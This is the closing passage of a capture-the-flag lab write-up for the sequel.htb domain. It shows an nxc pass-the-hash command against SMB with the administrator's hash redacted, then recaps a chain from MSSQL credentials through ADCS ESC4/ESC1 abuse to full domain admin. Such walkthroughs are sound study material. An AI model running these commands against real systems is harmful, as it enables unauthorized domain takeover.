[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:<REDACTED>
1
2
3
4
nxc smb $FQDN -u administrator -H <REDACTED>

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\administrator:<REDACTED> (Pwn3d!)

Where we can see that we have full administrator privileges over the domain.

Quick Recap

In this write-up, we have seen how to perform a privilege escalation attack using ADCS and ESC4/ESC1 vulnerabilities. We started by enumerating the target machine, then we found credentials for an administrator of the mssql server, which we used to get a shell on the machine. On the host, we found credentials for a privileged user and we could perform an ESC4attack and gain full administrator privileges over the domain.

This post is licensed under CC BY 4.0 by the author.